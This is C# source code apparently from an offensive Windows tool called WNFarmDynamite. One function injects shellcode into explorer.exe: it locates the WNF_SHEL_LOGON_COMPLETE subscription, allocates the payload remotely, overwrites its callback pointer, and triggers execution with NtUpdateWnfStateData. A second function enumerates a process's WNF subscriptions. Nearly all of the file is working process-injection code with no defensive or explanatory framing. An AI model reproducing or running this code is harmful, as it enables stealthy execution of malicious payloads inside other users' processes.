public static void WnfInjectSc() { // Find main explorer proc int ProcId = WNFarmDynamite_h.FindExplorerPID(); if (ProcId == 0) { Console.WriteLine("[!] Unable to find explorer process..", Color.Red); } // Validate the process ID WNFarmDynamite_h.PROC_VALIDATION pv = WNFarmDynamite_h.ValidateProc((Int32)ProcId); Console.WriteLine("[+] Validating Process..", Color.LightGreen); if (!pv.isvalid || pv.isWow64 || pv.hProc == IntPtr.Zero) { Console.WriteLine("[!] Unable to get explorer handle..", Color.Red); return; } // Validation success Console.WriteLineFormatted("{0} {4}{1} " + ProcId + "{3} {5}{1} " + pv.sName, Color.White, WNFarmDynamite_h.cProps); Console.WriteLineFormatted(" {2} {6}{1} " + pv.hProc + "{3} {7}{1} x64", Color.White, WNFarmDynamite_h.cProps); // Look for _WNF_SUBSCRIPTION_TABLE Console.WriteLine("\n[+] Leaking local WNF_SUBSCRIPTION_TABLE..", Color.LightGreen); WNFarmDynamite_h.WNF_SUBTBL_LEAK WnfTableRVA = WNFarmDynamite_h.LeakWNFSubtRVA(); if (WnfTableRVA.pNtdll == IntPtr.Zero) { Console.WriteLine("[!] Unable to locate Ntdll RVA..", Color.Red); return; } Console.WriteLineFormatted("{0} {8}{1} " + "0x" + String.Format("{0:X}", (WnfTableRVA.pNtdll).ToInt64()) + "{3} {9}{1} " + WnfTableRVA.iNtdllRVA, Color.White, WNFarmDynamite_h.cProps); // Read _WNF_SUBSCRIPTION_TABLE in remote proc Console.WriteLine("\n[+] Remote WNF_SUBSCRIPTION_TABLE lookup..", Color.LightGreen); WNFarmDynamite_h.REMOTE_WNF_SUBTBL rws = WNFarmDynamite_h.VerifyRemoteSubTable((uint)ProcId, pv.hProc, WnfTableRVA.iNtdllRVA); if (rws.pNtBase == IntPtr.Zero || rws.pRemoteTbl == IntPtr.Zero || rws.bHasTable == false) { if (rws.pNtBase == IntPtr.Zero) { Console.WriteLine("[!] Unable to get remote Ntdll base..", Color.Red); } else if (rws.pRemoteTbl == IntPtr.Zero) { Console.WriteLine("[!] Unable to read remote table pointer..", Color.Red); } else { Console.WriteLine("[!] Remote process does not have a WNF Subscription table..", Color.Red); } return; } Console.WriteLineFormatted("{0} {10}{1} " + "0x" + String.Format("{0:X}", (rws.pNtBase).ToInt64()) + "{3} {11}{1} " + "0x" + String.Format("{0:X}", (rws.pRemoteTbl).ToInt64()), Color.White, WNFarmDynamite_h.cProps); Console.WriteLineFormatted(" {2} {12}{1} " + "0x" + String.Format("{0:X}", (rws.sSubTbl.NamesTableEntry.Flink).ToInt64()) + "{3} {13}{1} " + "0x" + String.Format("{0:X}", (rws.sSubTbl.NamesTableEntry.Blink).ToInt64()), Color.White, WNFarmDynamite_h.cProps); // Read process subscriptions Console.WriteLine("\n[+] Finding remote subscription -> WNF_SHEL_LOGON_COMPLETE", Color.LightGreen); WNFarmDynamite_h.WNF_SUBSCRIPTION_SET WnfInjectTarget = new WNFarmDynamite_h.WNF_SUBSCRIPTION_SET(); List <WNFarmDynamite_h.WNF_SUBSCRIPTION_SET> wss = WNFarmDynamite_h.ReadWnfSubscriptions(pv.hProc, rws.sSubTbl.NamesTableEntry.Flink, rws.sSubTbl.NamesTableEntry.Blink); if (wss.Count > 0) { foreach (WNFarmDynamite_h.WNF_SUBSCRIPTION_SET Subscription in wss) { if (Subscription.StateName == "WNF_SHEL_LOGON_COMPLETE") { WnfInjectTarget = Subscription; Console.WriteLineFormatted("{0} {14}{1} " + "0x" + String.Format("{0:X}", Subscription.SubscriptionId) + "{3} {15}{1} " + Subscription.StateName, Color.White, WNFarmDynamite_h.cProps); foreach (WNFarmDynamite_h.WNF_USER_SET wus in Subscription.UserSubs) { Console.WriteLineFormatted(" {2} {16}{1} " + "0x" + String.Format("{0:X}", (wus.UserSubscription).ToInt64()), Color.White, WNFarmDynamite_h.cProps); Console.WriteLineFormatted(" {2} {17}{1} " + "0x" + String.Format("{0:X}", (wus.CallBack).ToInt64()) + " {19} " + WNFarmDynamite_h.GetSymForPtr(pv.hProc, wus.CallBack), Color.White, WNFarmDynamite_h.cProps); Console.WriteLineFormatted(" {2} {18}{1} " + "0x" + String.Format("{0:X}", (wus.Context).ToInt64()) + " {19} " + WNFarmDynamite_h.GetSymForPtr(pv.hProc, wus.Context) + "\n", Color.White, WNFarmDynamite_h.cProps); } } } } else { Console.WriteLine("[!] Unable to list WNF subscriptions..", Color.Red); return; } // Alloc our payload Console.WriteLine("[+] Allocating remote shellcode..", Color.LightGreen); WNFarmDynamite_h.SC_ALLOC Payload = WNFarmDynamite_h.RemoteScAlloc(pv.hProc); if (Payload.pRemote == IntPtr.Zero) { Console.WriteLine("[!] Unable to alloc shellcode in remote process..", Color.Red); return; } Console.WriteLineFormatted("{0} {20}{1} " + Payload.Size, Color.White, WNFarmDynamite_h.cProps); Console.WriteLineFormatted("{0} {21}{1} " + "0x" + String.Format("{0:X}", (Payload.pRemote).ToInt64()), Color.White, WNFarmDynamite_h.cProps); // Rewrite Callback pointer Console.WriteLine("\n[+] Rewriting WNF subscription callback pointer..", Color.LightGreen); WNFarmDynamite_h.RewriteSubscriptionPointer(pv.hProc, WnfInjectTarget, Payload.pRemote, false); Console.WriteLine("[+] NtUpdateWnfStateData -> Trigger shellcode", Color.LightGreen); WNFarmDynamite_h.UpdateWnfState(); Console.WriteLine("[+] Restoring WNF subscription callback pointer & deallocating shellcode..", Color.LightGreen); WNFarmDynamite_h.RewriteSubscriptionPointer(pv.hProc, WnfInjectTarget, Payload.pRemote, true); }
public static void WnfGetSubscriptionTable(UInt32 ProcId) { // Validate the process ID WNFarmDynamite_h.PROC_VALIDATION pv = WNFarmDynamite_h.ValidateProc((Int32)ProcId); Console.WriteLine("[+] Validating Process..", Color.LightGreen); // Not what we are looking for if (!pv.isvalid || pv.isWow64 || pv.hProc == IntPtr.Zero) { if (!pv.isvalid) { Console.WriteLine("[!] Invalid PID specified..", Color.Red); } else if (pv.isWow64) { Console.WriteLine("[!] Only x64 processes are supported..", Color.Red); } else { Console.WriteLine("[!] Unable to aquire process handle..", Color.Red); } return; } // Validation success Console.WriteLineFormatted("{0} {4}{1} " + ProcId + "{3} {5}{1} " + pv.sName, Color.White, WNFarmDynamite_h.cProps); Console.WriteLineFormatted(" {2} {6}{1} " + pv.hProc + "{3} {7}{1} x64", Color.White, WNFarmDynamite_h.cProps); // Look for _WNF_SUBSCRIPTION_TABLE Console.WriteLine("\n[+] Leaking local WNF_SUBSCRIPTION_TABLE..", Color.LightGreen); WNFarmDynamite_h.WNF_SUBTBL_LEAK WnfTableRVA = WNFarmDynamite_h.LeakWNFSubtRVA(); if (WnfTableRVA.pNtdll == IntPtr.Zero) { Console.WriteLine("[!] Unable to locate Ntdll RVA..", Color.Red); return; } Console.WriteLineFormatted("{0} {8}{1} " + "0x" + String.Format("{0:X}", (WnfTableRVA.pNtdll).ToInt64()) + "{3} {9}{1} " + WnfTableRVA.iNtdllRVA, Color.White, WNFarmDynamite_h.cProps); // Read _WNF_SUBSCRIPTION_TABLE in remote proc Console.WriteLine("\n[+] Remote WNF_SUBSCRIPTION_TABLE lookup..", Color.LightGreen); WNFarmDynamite_h.REMOTE_WNF_SUBTBL rws = WNFarmDynamite_h.VerifyRemoteSubTable(ProcId, pv.hProc, WnfTableRVA.iNtdllRVA); if (rws.pNtBase == IntPtr.Zero || rws.pRemoteTbl == IntPtr.Zero || rws.bHasTable == false) { if (rws.pNtBase == IntPtr.Zero) { Console.WriteLine("[!] Unable to get remote Ntdll base..", Color.Red); } else if (rws.pRemoteTbl == IntPtr.Zero) { Console.WriteLine("[!] Unable to read remote table pointer..", Color.Red); } else { Console.WriteLine("[!] Remote process does not have a WNF Subscription table..", Color.Red); } return; } Console.WriteLineFormatted("{0} {10}{1} " + "0x" + String.Format("{0:X}", (rws.pNtBase).ToInt64()) + "{3} {11}{1} " + "0x" + String.Format("{0:X}", (rws.pRemoteTbl).ToInt64()), Color.White, WNFarmDynamite_h.cProps); Console.WriteLineFormatted(" {2} {12}{1} " + "0x" + String.Format("{0:X}", (rws.sSubTbl.NamesTableEntry.Flink).ToInt64()) + "{3} {13}{1} " + "0x" + String.Format("{0:X}", (rws.sSubTbl.NamesTableEntry.Blink).ToInt64()), Color.White, WNFarmDynamite_h.cProps); // Read process subscriptions Console.WriteLine("\n[+] Reading remote WNF subscriptions..", Color.LightGreen); List <WNFarmDynamite_h.WNF_SUBSCRIPTION_SET> wss = WNFarmDynamite_h.ReadWnfSubscriptions(pv.hProc, rws.sSubTbl.NamesTableEntry.Flink, rws.sSubTbl.NamesTableEntry.Blink); if (wss.Count > 0) { foreach (WNFarmDynamite_h.WNF_SUBSCRIPTION_SET Subscription in wss) { Console.WriteLineFormatted("{0} {14}{1} " + "0x" + String.Format("{0:X}", Subscription.SubscriptionId) + "{3} {15}{1} " + Subscription.StateName, Color.White, WNFarmDynamite_h.cProps); foreach (WNFarmDynamite_h.WNF_USER_SET wus in Subscription.UserSubs) { Console.WriteLineFormatted(" {2} {16}{1} " + "0x" + String.Format("{0:X}", (wus.UserSubscription).ToInt64()), Color.White, WNFarmDynamite_h.cProps); Console.WriteLineFormatted(" {2} {17}{1} " + "0x" + String.Format("{0:X}", (wus.CallBack).ToInt64()) + " {19} " + WNFarmDynamite_h.GetSymForPtr(pv.hProc, wus.CallBack), Color.White, WNFarmDynamite_h.cProps); Console.WriteLineFormatted(" {2} {18}{1} " + "0x" + String.Format("{0:X}", (wus.Context).ToInt64()) + " {19} " + WNFarmDynamite_h.GetSymForPtr(pv.hProc, wus.Context) + "\n", Color.White, WNFarmDynamite_h.cProps); } } } else { Console.WriteLine("[!] No WNF subscriptions identified..", Color.Red); } }